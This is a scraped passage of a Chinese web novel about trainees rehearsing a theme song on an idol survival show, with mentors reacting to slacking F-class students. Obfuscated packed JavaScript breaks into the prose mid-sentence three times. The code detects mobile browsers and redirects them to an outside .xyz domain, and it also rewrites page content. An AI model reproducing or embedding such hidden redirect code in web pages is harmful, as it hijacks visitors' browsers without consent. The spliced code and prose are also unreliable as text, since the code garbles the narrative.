d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308746|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始练习,她并不像其他人那样有良好而扎实的基础,想要在三天之内将主题曲演绎到精通,那是痴人说梦。 时虞清有自知之明,更何况来这个节目也并不是她自己的本意,能做到不错漏百出丢人现眼就是她最终的目标,她根本不在乎最后能不能出道。 五个人不约而同地戴上了耳机,倒并不是为了要隔绝声音,而是乐谱到现在还没有发下来,她们只能靠着这样地方式来熟悉主题曲。 早上九点。 时虞清的耳朵被同一首歌连续轰炸了将近三个小时,她现在就算闭着眼睛都能保证自己不唱错歌词,尽管视频之中的动作依旧生疏,但最起码她看向镜中的自己已经不会皱眉头了。 而周围人不愧是这个节目中百里挑一的A,已经上手了这首算不上太难的主题曲。 舒照闻已经能把主题曲从头唱到尾,除了偶尔还要瞄一眼歌词,节拍和音调分毫不差,就连最后那段高音都流畅无比。 卞苏跳了三个小时也总算没有之前那样困倦了,她和燕临纾几乎已经记下了全部的舞蹈动作,能在不要求精度的情况下跳完整首。 只有邬钰跳得精细,她已经将第一部分跳得相当精细,现在正在对着镜子慢慢调整手臂抬起来的角度。 时虞清看得分明,邬钰这样的练习方法,应该是为了结束课程后去教队内的其他女生。 从雾气笼罩的清晨到太阳高升的半中午,时间的痕迹在这间小小的练习室已经近乎绝迹,只能在她们单曲循环的播放进度条上勉强留下痕迹。 “大家早上好啊!昨晚休息得怎么样?” 费谣笑眯眯地推门进来,她穿得随性,因为没有行程,她索性就直接住在了节目组这边,等着给她们上课。 五个人都暗暗讶于她的准时,很难想象一个红了这么久的老牌歌手能负责任到如此地步,竟然和课表上的时间分毫不差。 “老师好。” “费老师早。” “休息得还不错。” “休息得还行。” “困死了……” 时虞清敏锐地捕捉到卞苏的小声嘀咕,但看费谣一幅言笑晏晏的样子,估计是没有听到。 工作人员伴着一架电子琴跟在费谣后面,费谣从善如流地坐下,先弹了几个音才开口问她们:“听了我们的主题曲没有?” 五人乖乖点头。 费谣笑起来,能站在这里的都是A班的学生,唱跳无一不精,就算是第一次上手,唱出来也不会难听到哪里去。 她抬手翻开一页曲谱,先弹了一遍这一段的伴奏,再抬起头来看五人,“第一段verse,你们一起开口唱一遍。” 电子琴的伴奏声音并不全面,但基本的旋律却特别清晰,时虞清轻松找到切入进去的拍子,和其他人一起开口: “我站在这里等你们回应 约定好奔赴下一个未来 万象光年已经翻开新篇章 准备好就这样一起出发 …………” 第一段verse远没有高潮部分的声调高,费谣单手按住低声部,每个拍子都相当精准,堪比人性节拍器。 所以在这样的情况下,就算只是慢了半拍也相当明显。 费谣停下弹琴的手,抬起头来看向站成一排的五人: “邬钰。” 她扫了一眼女生贴在腰上的名牌,“你第三句是不是进错拍了?” 13.主题曲评定(二) 气氛一瞬间降下来。 这毕竟是导师的第一次授课,不管是谁都不想犯错。 尽管心知这一段绝对会作为节目看点被剪辑进正片之中,但邬钰毕竟做了多年的队长,不知道给年纪小的队友们抗了多少事,这个时候也强压着镇定下来,重新开口唱了一遍。 时虞清听出她的声音稍微有些抖,就侧头看过去。 邬钰脸上的表情还算得上是镇定,可手中捏着的A4纸已经出现了褶皱,薄薄的纸张显然经受不了这样的摧残,皱成了一团。 可就算如此,时虞清还是万分肯定,这一次邬钰唱得非常完美,完全没有半分错漏。 费谣凝神听完她唱得这句才点点头,笑着宽慰她:“不要紧张嘛,这不是唱得很好吗?谁都有第一次的。” “你们A班能唱成这样,我已经很满意了。” 毕竟唱歌这件事情需要练习,她们在出道舞台上展现出来的完美表演都是千万次练习的成果,不管是节拍还是声调都是勤加练习就可以出成果的,除了舒照闻和时虞清,她没听出来其他人有多么惊艳的天分。 A班大多数人更擅长的还是舞蹈,毕竟A班最重要的是能力的均衡,相比之下,费谣心里其实对B班更有信心。 但是今天看下来,成果还算是不错。 邬钰松了口气,攥着纸张的手也慢慢放松下来。 被老师这样骤然点名,说不紧张是假的,但对于她们团的人来说,舞蹈是比唱歌更要命的短板,她必须先保证自己舞蹈的完成度。 "谢谢老师。" 费谣实在太过耐心,邬钰真心实意地感激她。 费谣笑着点点头,这才开始弹下一个小节。 《万象如我》的主题曲是层层递进的风格,高潮部分是一段节奏相当强烈的融合电音,衔接最后一段副歌的bridge中甚至还有一个八度的高音,其中转音无数,难度并不算低。 这首歌一共有三遍hook,其中的两段verse一段bridge对五人来说难度其实都是可以驾驭的程度,只有…… 卞苏看上去有些无奈,在费谣喝完水准备结束中场休息的时候,她干脆利落地举手发问:“老师,最后bridge的那段高音我们每个人都要唱吗?” 虽然说主题曲录制的时候肯定不会用练习生们在现场唱出的版本,一定是要去录音室单独录制的,但是她们手中拿到的demo(小样)是齐唱的版本,难免有些忐忑。 卞苏唱低音没有问题,她自己很多首原创里面的hook也是自己亲自唱的,但毕竟rap里面很少掺杂高音,她实在是有心无力。 时虞清循声看过去,她自己倒是不太害怕这种高音,很多根据西方那边改编过来的歌剧音调也很高,但她唱的也不算吃力。 但如果是大家一起合唱高音的话…… 时虞清默默脑补了一下这样的场面,不说其他人会如何反应看,谭清清肯定是要哭丧脸的。 就像是今天,她起床的时候谭清清还在睡,反观旁边,蒋韫庭已经推开门准备走了,komi瘫倒在椅子上面无表情地嚼面包,一幅生无可恋的样子。 这样说的话…… 时虞清若有所思地看向卞苏,倒和她今早推门进来的样子有些像。 不过就算是现在卞苏脸上的表情也好不到哪里去,她浑身上下的毛孔都写满了“救救我吧”四个字,好像如果下一秒费谣的答案是“对”,她就要两眼一黑晕过去。 但是好在费谣没有这样说,她放下水杯摇摇头,“不是。这个好像是要专门挑人来唱。” 费谣看上去有些疑惑,卞苏的声色偏低,唱低音或者rao都会很出彩,唱高音就会很吃力,她很了解这种风格的歌手,所以根本没有想到卞苏会对这件事情感兴趣,竟然比自己最看好的舒照闻都先问出这个问题。 “你对这个感兴趣?” 犹豫再三,性情直爽如费谣,她没有选择继续在心中纠结,而是直接张口询问。 闻言,卞苏立马身躯一震,随后慌乱地连连摆手,“不、不是老师,我就是问一下、问一下。” 众人忍俊不禁。 从节目开始到现在,没有人在卞苏脸上见过这样鲜活的表情,她一直是拽拽的酷姐,什么时候慌乱至此。 时虞清连忙抬起手,用手中攥着的A4纸遮挡脸上的笑意,她没有想到卞苏竟然害怕高音到这个地步,这种反差竟然令人意外地可爱。 费谣也松了一口气,她也觉得卞苏实在是不适合唱这部分,但想起之前节目组的嘱托,她还是大发慈悲地开了口: “既然话赶话说到了这里,正好节目组托我选一下唱最后高音的人选。那就从你开始吧卞苏同学,你来给大家起个头,唱一下这个高音。” 卞苏当即如遭雷劈,呆愣在了原地。 几撮从她棒球帽后面冒出来的红色发丝也啪唧一下耷拉下去,看上去再难如刚才一样神气地翘起来。 时虞清最先忍不住,别过脸就笑起来, “哈哈哈哈哈哈!” 其他人脸上的笑意也再掩饰不住,纷纷笑起来。 快活的笑声一瞬间充斥着这间小小的练习室,只有卞苏一脸生无可恋地立在原地。 卞苏:有没有人在意我的死活…… 大家笑够了,这节课才继续。 但不管刚才费谣笑得有多开心多不顾形象,这个时候她都没有打算放可怜的卞苏,“开始吧。” 卞苏无奈,只好视死如归地开口:“我冲向属于我的万象极限——” 最后那个“万象极限”每个字都有一段微妙的停顿和拖音,声调越来越高。 到那个“象”字那里,卞苏看上去已经放弃了,她闭上眼,破罐子破摔地接着唱。 ……破音了。 卞苏看上去也没有办法,自暴自弃地放下了手中的A4纸。 费谣这个时候倒是没有笑,只是用一种很平和的表情安慰卞苏, “没关系的,破音而已。” 她这辈子的温柔估计都用在这个节目上面了,为了安慰这些比自己不知道小多少的学生,她只能搜肠刮肚地寻找措辞: “你要是想听的话,我也可以破音给你听嘛。” 她说着,在电子琴上面弹出一段旋律,果不其然,在最后那段高音上,她也破了音。 费谣宽慰地看向卞苏,“你看吧。” 卞苏被公开处刑到现在,其实已经有一点“躺平任嘲”的感觉了,可她没有想到费谣竟然就这样大咧咧地暴露短板,一时有些不知道该摆出什么表情。 心中的感激没有宣泄的闸口,她索性直直弯下腰,给费谣鞠了一个将近九十度的躬 :“谢谢老师。” 费谣摆摆手,她是真的不在意,“下一个。” 时虞清就站在卞苏身边,她暗暗在心中提了一口气,才跟着费谣手下弹出的旋律慢慢唱出来: “我冲向属于我的万象极限——” 费谣听完,若有所思地点点头,时虞清不算专业的学生,能唱到这个份上也算是不错, “还可以,就是最后的音准还差一个度,平常不太唱高音吧?还是要多练练。” 时虞清点点头,连忙鞠躬道谢。 她现在主攻话剧,可说不准哪天朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308747|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友的剧就突然炸卡让她去救场,费谣的指点算是及时雨,毕竟话剧院没有专门针对的练习。 费谣没有拖泥带水,她在这种正事上面一直是这样雷厉风行的风格,当即就喊出了下一个名字:“燕临纾,你来。” 燕临纾依言出列,时虞清这才发现她虽然也是黑发,但发尾其实有一小撮蓝色的挑染,初评级那天她的头发被编成了辫子,才不明显。 或许是因为韩国女团曲中都有掺杂一段高音的习惯,燕临纾唱得毫不费力,但毕竟是第一次唱,最后四个字的节拍没有卡得足够精准,还是被费谣听了出来。 “你这个…”费谣抓了抓自己的发尾,看上去有些纠结,“大致上没有什么问题,就是你要注意一下里面的拍子。” 她抬手在电子琴上弹了一段,有指了指她们手上的乐谱,“这里有一个十六分音符,看见没?等它过了再唱下一个字。” 燕临纾连忙点头鞠躬,表示自己知道了。 这也是个无伤大雅的毛病,费谣没太在意,她们毕竟是第一次唱,犯点儿小毛病也是常有的事,就连后边邬钰的递进不够明显她也没有多说,只是自己又示范了一遍才对着五人强调: “这一段的感情递进很明显,毕竟下一句就是副歌了,你们要注意把握这其中的层次递进,这段bridge才算是成功。” 她拿起旁边的笔在这一段上面又加了一段批注,提醒自己去了别的班要格外强调这里的重点。 费谣放下笔,才对着最后一个开口的舒照闻点头示意,“来吧。” 电子琴的琴音流淌在室内,费谣的手指向右边不断变化,声调越来越高,像是一只衔满了东西的鸟,奋力朝着天空的更高处飞去—— 舒照闻的歌声像是托举这只鸟的风,稳稳当当地托着这只鸟向上飞,连丝毫颠簸都没有。 这只鸟也就顺顺当当地向着更高处飞去,它连羽毛的角度都计算得精准,面对风也毫无畏惧。 就像是舒照闻的歌声,之前提到的节拍、递进等等问题在她身上都不复存在,她的歌声中,连半个音符的瑕疵都没有。 众人心服口服,其中卞苏的表情尤为虔诚。 费谣当然更是满意万分,她就知道自己没有看错人,对着舒照闻连连点头:“不错不错!唱得很好!” 费谣实在是满意得不能再满意了,当即就掏出手机给节目组发信息,“我现在就给导演打声招呼,这个高音就交给你了。” B班能人众多,但是能把高难度的高音唱到这个程度的,估计也难找,所以费谣当下就拍了板。 舒照闻倒依旧是一派淡然的柔婉模样,鞠躬谢过费谣就站回了原地,一副宠辱不惊的风度。 时虞清心中也暗自赞叹,舒照闻唱的实在是好,和她之前遇见的专业歌剧演员比也丝毫不逊色,这个节目实在是卧虎藏龙。 她偏头瞄了一眼舒照闻,见她依旧垂眉看着曲谱就更是敬佩,果然还是要努力才能出众。 “为什么主题曲里面没有rap…” 时虞清耳朵实在太好,听不清是谁小声嘀咕了一句,她本以为是卞苏,可转头看去的时候,卞苏还在研究节拍,不太像是她。 时虞清琢磨着,又觉得这个声音更像舒照闻,可这个想法刚冒出来就被她摁了回去,舒照闻唱rap??开什么玩笑! 她在心中默默吐槽自己天马行空的想法,刚想把思绪拽回课堂,就听见门外突然传来一声巨响—— “砰!” 众人寻声望去,就见殷辞玉的身影出现在走廊尽头, 她步履匆匆,面色阴沉得可怕。 ……是她摔的门? 14.主题曲评定(三) 众人面面相觑,却都不知道发生了什么事情。 从节目开始到现在,没有人见过殷辞玉发脾气的样子,或者说,大家没有在她身上有见过过于鲜明的情绪。 选秀类节目录制的时间很漫长,初评级的舞台几乎是从下午录到了第二天的凌晨,坐在台上的练习生们熬红了眼,盯着浓密的假睫毛昏昏欲睡,可殷辞玉从开始到结束,却没有露出过丝毫疲态。 她的目光始终沉稳、辛辣,好像身体的机能并不会随着长时间的工作而下降,她的判断永远清晰、正确。 在所有的导师之中,她是除了费谣以外知名度和人气最高的导师,要说有点傲气、有点小要求也是理所应当,但是所有练习生都看得分明,殷辞玉是所有导师之中,第一个对着工作人员弯下腰的导师。 她身上没有哪怕一丝“耍大牌”的痕迹,出色而专业的工作能力更是让所有练习生笃定她不会在节目之中参杂任何私人情绪。 但刚刚从走廊深处走出来的殷辞玉…… 门框上的两大块玻璃把她的表情照得清清楚楚,她表情严肃,完全没有平时的温和,像是向来平静的天空忽然劈下了一道骇人的闪电,原本的平静荡然无存,只有狂风骤雨在毫不留情地撕扯着这个世界。 疑云如黑雾蔓延,沉甸甸地压在了每个人的心头,就连表情一直处于放松状态的卞苏也忍不住紧张起来,捏着歌词纸张的两根手指蜷起,将原本平滑光洁的纸张捏得满是褶皱。 所以……到底发生什么事了? ** 舒照闻意识到事情不对劲,是从听到费谣手下的琴音出错开始的。 她从小就对这种事情比较钝感,对于她来说,音乐之中蕴含的情感往往要比人声中蕴含的情感要多得多,比起口蜜腹剑、两面三刀的人言,音乐向来更诚实、更好懂。 因为不会察言观色,她和周围人的关系一直算不上太好,或许是因为出生在音乐世家,和音乐打交道比和人打交道要多,她也并不将这种事情放在心上,毕竟在她看来,有一门可以傍身的技艺比学会钻营更加重要。 可是当向来被她奉为圭臬的费谣都不经意出了错,她才依稀意识到,这件事情好像并不简单。 费谣成名多年,她所涉及的领域已经不仅仅是“唱”了,作为知名的原创音乐人,她对各种乐器的运用堪称纯熟,舒照闻最喜欢的就是一段她用各种乐器做出来的混音,不管是复杂程度还是动听程度都是上上之作。 而电子琴,这种基础到不能再基础的乐器,费谣竟然会弄错音调的升降,把键盘上的黑键错认成白键。 可这是小学时期的舒照闻都不会犯下的错误。 所以,到底是什么样的事情,能让身为导师的费谣都情绪失控至此? ** 费谣其实不是第一次和殷辞玉合作。 尽管殷辞玉国内的活动实在算不上多,但难得她和费谣的关系还算是不错。 之前费谣有过尝试新风格的念头,几经挑选之后,轻快活泼的女团舞曲风格相较其他风格更得她的青睐,恰巧殷辞玉所在的女团新推出了新概念EP,不管是曲风还是概念都很得费谣的喜欢。 作为团内唯一一个中国成员,费谣联系上殷辞玉,也是很理所当然的事情。 而在殷辞玉为她的演唱会伴唱之后,费谣就更对这个创作有灵气、工作认真负责的女孩有好感,这次节目组能邀请到风头正盛的殷辞玉当制作人,费谣的牵线功劳实在是功不可没。 费谣和殷辞玉之间合作的时间越长,她就越了解殷辞玉究竟是一个什么样的人。 耳返突然失灵,殷辞玉能面不改色地接着唱;通宵连轴转地工作,殷辞玉连灌好几杯冰美式也要保持最好的状态;突然过敏脸上起红疹,殷辞玉拼着病情加重也要上妆给粉丝们饭撒; 她从来不会在工作之中有任何的“私人情绪”,好像只把自己当成一个合格的工具,就算压上职业寿命也一定要做到最完美、最让人无可指摘。 能让殷辞玉这样鲜明地出现情绪,除非节目资方突然撤资,所有人员全部解散,费谣实在想不到别的理由能让殷辞玉失态到这个地步,竟然在众多摄像机面前失态。 ** 可无论众人心中怀揣着什么样的想法,她们都没有办法现在抽身去探究其背后的原因。 毕竟墙角的摄像机依旧处于工作状态之中,节目的课程表也一开始就同步给了所有万象制作人,她们的一举一动、一言一行都不能有丝毫逾矩,更何况是中途暂停课程去凑一个不知所谓的热闹。 所以在琴声琅琅之外,众人只能看见在身穿黑色马甲的编导不停进出,她们神色紧张、如临大敌,就连握着摄像机内存卡的手都在往外渗汗,时虞清看得清楚,她们连擦手的纸已经换了几次。 时虞清不是没有想过节目原地解散的可能性,不然实在是没有更劲爆的消息能让众人团团转如热锅蚂蚁。 可如果仔细看工作人员们的神色…… 时虞清若有所思地打量着门外,她们的表情虽然紧张,可却没有无望之感,更多像是疑惑、费解。 如果真的要让时虞清形容这种表情,那么她就只能用之前家里人的表情做例子,毕竟那个时候的时虞清在出演大爆剧的女配之后,没有选择正式扎根内娱,而是选择一头扎进话剧,继续为前途并不光明的事业发光发热。 她家里人的表情就和现在的编导们表情一模一样,好像她们放弃了什么很珍贵的东西却只是为了选择众人都弃之敝履的东西,和买椟还珠的奇葩没有任何差别。 可只有时虞清自己知道,那才是她真正在乎、真正想要的东西。 那么…… 殷辞玉这样生气,也是因为这个吗? 因为自己真正热爱的东西被人辜负、被人嗤之以鼻? ** 在看清那间练习室之中的景象之后,时虞清才恍惚间意识到,殷辞玉究竟为什么会情绪失控至此。 偌大的练习室中是两派截然不同的景象,身穿灰色卫衣的练习生们像是被不知名量子武器分割开来,明明身处同一间练习室,她们却好像身处两个世界。 零零星星的几个女生满脸不甘,对着镜子笨拙地一遍一遍纠正自己的动作,但更多的练习生无所事事地围坐在练习室的四周,喝空的矿泉水瓶倒了满地,粗略扫一眼过去,就能轻易发现好几个已经戴上帽子靠着墙睡着的女生。 ……和练的热火朝天、发狠忘情的A班,完全就是两个极端。 仅仅只是这一眼,就足够时虞清愣在原地。 这就是殷辞玉推开门,看到的景象吗? 这样完全将自己的未来和机会放弃,只是无所事事地混着、等待被淘汰的练习生吗? 时虞清自己没有拼尽全力,是因为她原本就志不在此,现在这样努力练习舞蹈音乐,也只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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殷辞玉没办法理解F班的练习生们消极怠工,她们连舞蹈视频都不愿意好好看,东倒西歪地坐了一地,像是对主题曲毫无信心,又像对自己毫无信心,她们曾经口口声声说喜欢这个舞台、热爱这个舞台,现在却又避之不及,唯恐沾边。 这对热爱舞台的殷辞玉来说,无异于一种背叛。 众人皆知,主题曲考核关系着第一次网络排名,这是继续站在舞台上的机会,是F班练习生们的救命稻草。 毕竟主题曲考核之后,F班的练习生,是没有办法参与主题曲录制的。 不能参加录制,就意味着毫无曝光,对以人气和票数决定命运的选秀节目练习生来说,几乎是致命的。 “你有没有想过,对她们来说,就算努力了也不一定有用呢?” 如果拼尽全力后的结局和无所事事的结局一样,没有人会傻到继续投入精力。 “这条路太难走下去了,一百个练习生只有五个能脱颖而出,如果她们最终的结局是拼尽全力也没办法出道,还不如让自己现在好过一点。” 谭清清语调轻松,好像只是在客观陈述一件平平无奇的事情,她对这种情况司空见惯,天下英雄如过江之卿,想去韩国出道做练习生的人那么多,为什么偏偏只有一个殷辞玉能脱颖而出? 就是因为这条路太难走、希望太渺茫了。 与其消耗自身却做无用功,倒不如一开始就无所事事。 “虞清,我一开始,也很想一直留在舞台上面的。” 谭清清仓促笑了笑,好像只是为了安抚面前时虞清焦灼费解的情绪,可只有她自己知道,这个笑背后,掩藏的是多少求而不得和希望落空。 可她没有想到的是,时虞清丝毫没有被她的情绪触动,而是平静凝视着谭清清那一双状似已经与自己和解的眼睛,很认真地问她: “那这样说的话,清清,你又因为什么才那么喜欢殷PD呢?” 15.主题曲评定(四) 谭清清一时愣住了。 她确实没有想过这个问题,时虞清这样冷不丁地发问,直接把她定在原地硬控了好几秒。 为什么会这么喜欢殷辞玉? 讲实话,不管是几年前刚开始喜欢上殷辞玉的谭清清还是现在攥着手中筷子发呆的谭清清都说不明白这个问题。 谭清清是因为殷辞玉的练习室舞蹈视频而垂直入坑的,因为并不是正式的舞台,大家身上穿的都是常服,而在一众略慵懒的舞蹈动作之中,殷辞玉的动作是最标准、最符合要求的。 当时的谭清清才刚刚上大学,她自己读的是师范大学之中的舞蹈专业,可以说在拿到录取通知书的那一刻起,她就不用为自己的工作发愁了。 前方的路是已经被定好的,大三实习,大四和学校签合同,以后就做学校的舞蹈老师,直到退休。 那个时候的自己……为什么会喜欢上一个甚至不在国内出道的偶像呢? 或许是因为她在这样场合、这样连“舞台”都算不上的场合都能跳出如此专业、如此认真的舞蹈; 又或许,是因为自己再也没有办法站上正式的舞台,就算再次登台,也只能是在各种娱乐自我性质的晚会或是节日。 谭清清一时哑然,半晌之后,她才深深呼出一口气,对着时虞清诚恳道:“我知道了虞清,谢谢你。” 不管过程怎么艰难,也不管结局能否如愿,最起码,她们要对得起最开始的初心,对得起这个来之不易的舞台。 她们需要尊重的是“舞台”本身,是想要“被看见”的自己。 * 在最开始,谈玥是没有想过自己会走上这样一条路的。 或许她比一部分女生要来得更加幸运,天生有一张好面孔,从小被别人夸着“好看”长大。 她在很小的年级就被公司的星探发掘,进了公司做练习生。 同年龄段的女孩们还在上学,每天担心的事情不是成绩就是青春期的小躁动;可这个年级的谈玥已经在开始跑商演,和公司的其他女孩一起参加大大小小商店的开业仪式、热场活动。 可是她既没有好看到一露脸就能一炮而红的状态,也没有平庸到扔进人堆之中就再也找不见,而是一直维持着这种不上不下的状态,很难说时好时坏。 在最开始,她确实有做过当大明星的梦。 入这一行的,谁没有想过自己哪一天会突然爆红?谁没有想过自己有一天会被镁光灯环绕,接通告接到手软?谈玥自认是俗人,当明星挣大钱是圈内所有人都做过的梦,她自然不能免俗。 可是入这行的年岁越久,她就愈发明白,“红”是一件很玄学的事情,它根本就没有既定的标准,这不是游戏之中的数值明确的经验条,而是你也不知道会开出什么东西的神秘箱子。 有多少素人一夜之间爆红,又有多少圈内“老人”一直默默无闻到转行? 谈玥不知道,她最开始的傲慢、自得早就已经在一次次希望落空后破灭,在她看来,“红”或者“出道”是一件希望相当渺茫的事情,实力只是出道的一部分,就像烧瓷器一样,有些颜色需要占据天时地利人和,只要稍微有一点儿偏差,那个颜色就烧不出来。 无休止的练习、接连不断的考核、渺茫的出道机会和身边不断离开的队友。 “梦想”是一件虚无缥缈的东西,她从很早就意识到了这件事,可现在的她除了唱歌跳舞,还会什么呢? 公司的练习生工资不算低,所以谈玥其实想过,要是实在不行的话,这辈子就这样过去,也没有什么不好。 直到公司接到节目组的邀约,才大喜过望般将谈玥送过来,养了这么多年的人,终于有了回本的机会,谁能不高兴呢。 但是这个节目实在是高手如云,在来到节目之前,谈玥也曾经幻想过,要是自己出道了会是什么样子的? 可现实很快就给了她一巴掌,导师们全无波澜的目光、平平无奇甚至是“F”的评级,这一切的一切都将她隐秘的期待烧成灰烬,最后变作乌有。 在踏入F班练习室的时候,谈玥其实已经做好了就这样默默无闻直到离开的准备。 或许自己的脸和名字唯一一次在这个节目被提及,就是第一次排名公布宣布被淘汰的练习生的时候吧。 谈玥自嘲一笑,脱下身上的外套,露出灰色的、写着F级评价卫衣。 练习室的地板很冷,但她却没有在意,直接坐在了地上,等待着课程的开始。 课程表上面写的是九点开始,现在已经八点半,练习室中却只有寥寥几个人,或站或坐地吃早饭或是发呆,这个时候如果拿出视频和耳机练习,大概会被视为异类吧。 谈玥毫不在意地撩开黏在脸颊旁边的发丝,摸出节目组统一派发的设备开始看视频。 第一节写明了是舞蹈课,但赵蕴予这样的身份和咖位,又怎么可能亲身上阵自己教呢? 谈玥已经做好了某个伴舞推开门的准备。 但是当镜子最上方的指针指到九点时,推开门的却不是面目陌生的不知名舞蹈老师,而是一张所有练习生都再熟悉不过的面孔。 ……是殷辞玉。 谈玥怎么也没有想到,殷辞玉这个咖位的艺人,竟然会愿意自己亲身上阵,来教这一群甚至连评级都只有F的练习生。 她看上去气色并没有昨天好,或许是因为需要跳舞,她穿得很简单,落在谈玥眼里 ,甚至可以说是朴素了,毕竟殷辞玉身上连配饰都没有,唯一可以勉强算作装饰的就只剩下她用来扎马尾辫的金属发圈了、 众练习生一片惊讶,甚至几个以为殷辞玉只是过来拍几个彰显自己敬业的镜头就走,没有人会觉得殷辞玉真的是来教她们跳舞的。 可偏偏殷辞玉就是这样做了,连半句废话都没有,背过身就开始教第一个动作。 * 但事情变得不可预计,其实也就是一瞬间的事情。 在场的都是F级的练习生,练习时长基本上是节目的峰底,只有更短没有最短,基本功就更不用说了,基本上趋近于无。 主题曲的动作虽然算不上太难,可好几个琐碎的动作连接在一起,想要流畅而自然地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358239|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展现出来并不是一件容易的事情, 殷辞玉当然也知道她们基础差,从一开始就没打算按照平时的方式教,而是拆碎了动作,从一开始慢慢教。 小到这个动作的手要抬到什么高度才好看,大到这个转身应该把着力点放在哪一只脚上,她知无不尽、事无巨细。 就算是公司中的舞蹈老师从来没有教的这么细过,谈玥学得认真且卖力,汗流了一身,好不容易等到休息,她刚要坐下来喘口气,就听见后面怨声载道: “她到底知不知道我们是F班的啊,最差的位置,学得再好有什么用?” “就是啊,我们再怎么学,还能学得过那些a班b班的人?” “累死我了,要不是摄像头在那里拍着,我简直连一下胳膊都不想抬。” “pd在韩国过得这是什么苦日子啊,连胳膊转动的角度也有要求?倒不如架一把量角器在我胳膊肘上好了!” “我真的服了,我承认她教得真的又快又细,但我就是学不会能怎么办啊!” 练习室瘫倒了一大片,好想这区区不到三个小时的练习就已经耗干了她们所有的力气,让她们就算连一根手指也没有办法抬起。 疲惫和怨怼充斥着这间偌大的练习室,轻微的汗味混杂着香水味弥漫开来,让人连睁开眼的欲望都没有。 殷辞玉一刻不停地教了三个小时,终于带着她们将所有的动作都过了一遍,按理来说,她能教到这个地步已经算是仁至义尽,可是谈玥听她话中的意思,像是在工作结束之后,还要折返回来再带着她们过一遍。 想到这里,谈玥迟疑了一下,还是忍着酸痛的肌肉站起身,想要自己再复习一遍刚才的动作。 她自己已然不抱出道的指望了,但殷辞玉用心至此,万一回来的时候看到的是躺了满地宛如死尸一般的练习生,一定会不开心的。 她扯出耳机线,刚想要戴上,就听见身后一声冷嗤:“干嘛在这里卷啊,你没看见摄像机的灯都没有亮吗?” 既然连被拍到的可能都没有,何必这样作秀? 谈玥稍稍有些无语,但还是转过头,耐心解释道:“我只是复习一下。” 可那个女生却好像是听到了天大的笑话,“你再怎么连,还能比得过其他人?快算了吧!咱们都是F级的,谁不知道谁呢。” 谈玥没有再接话,而是径直戴上耳机,不想再理会她。 人多的地方就会有纷争有不满,她没办法阻止,不理会也就是了。 那女生觉得没有意思,也就悻悻闭了嘴,转过头去和一旁的人聊天。 于是三个小时过去,有在地板上直接睡着的,有谈天说地从文娱八卦说到化妆护肤的,反正就是天上地下说了个遍,就是死活不站起来跳舞。 只有寥寥几个女生站在了谈玥身边,慢慢开始摸索着,尝试将所有的动作连贯起来。 整个练习室泾渭分明,睡死过去的和练得热火朝天的各占一边,谈天说地的则是见缝插针、四处分布。 殷辞玉再一次推开门时,看见的就是这样一幅景象。 16.主题曲评定(五) 结果当然显而易见。 殷辞玉最不能容忍的行为就是不对自己负责、不对舞台负责。 跳舞最重要也是最基础的事情就是记住动作,她刚刚只是基本上带着F班的练习生将所有的动作过了一遍,但是离能将主题曲所有的动作从头跳到尾也还是差得远。 她离开的这几个小时中,如果这里的练习生们仅仅只是坐着而不是主动站起来复习动作的话,就很快会将刚才学会的动作忘得一干二净,殷辞玉之前所有的努力都会像是竹篮打水一样,尽数付之东流。 但是其实说实话,殷辞玉并不在乎练习生们的天赋如何、基础如何,她最看重的,是对这个舞台的态度。 基础不扎实不能将舞蹈跳的谙熟,没关系,身体素质不好,需要休息几个小时来喘口气,也没有关系。 有关系的是你想要站在舞台上,你想要继续将这条路走下去。 那么你就一定会站起来,而不是像现在这样毫无形象地瘫倒在地上。 ……甚至还觉得不能站上舞台、不能参加主题曲的录制也不是什么大不了的事情。 殷辞玉听着女生未尽的话语,面色慢慢沉了下来。 地上女生的脸颊已经睡到变形,衣服凌乱地铺在地上、栏杆上、镜子上,小声的低语叽叽喳喳地充斥着整间练习室,只有寥寥几个女生形单影只地站在镜子前面跳舞,汗水顺着她们的面庞砸落在地上,竟和女生们聊天的声音堪堪持平。 殷辞玉不禁想起了之前还在韩国练习的时候,韩国的练习生本来就排外,男团女团都是一样,能在高手如云的经纪公司杀出一条血路,过五关斩六将地拿到出道机会,她靠的并不是所谓的天分和相貌,而是汗水与血泪。 殷辞玉自己都已经记不清有多少个晚上直接睡在了练习室之中,公司有大大小小的考核,这一关过了之后等着自己的就是更难的一关,她没有办法松懈。 衣服被汗湿了就把毛巾搭在后背上继续练,小腿跳抽筋了就用身旁的筋膜枪快速缓解一下,饿了就拿过旁边的全麦面包快速啃两口…… 临近月度考核的那几天,她连正经吃饭的时间都没有,吃的最多的就是全麦面包和楼下的便利店。 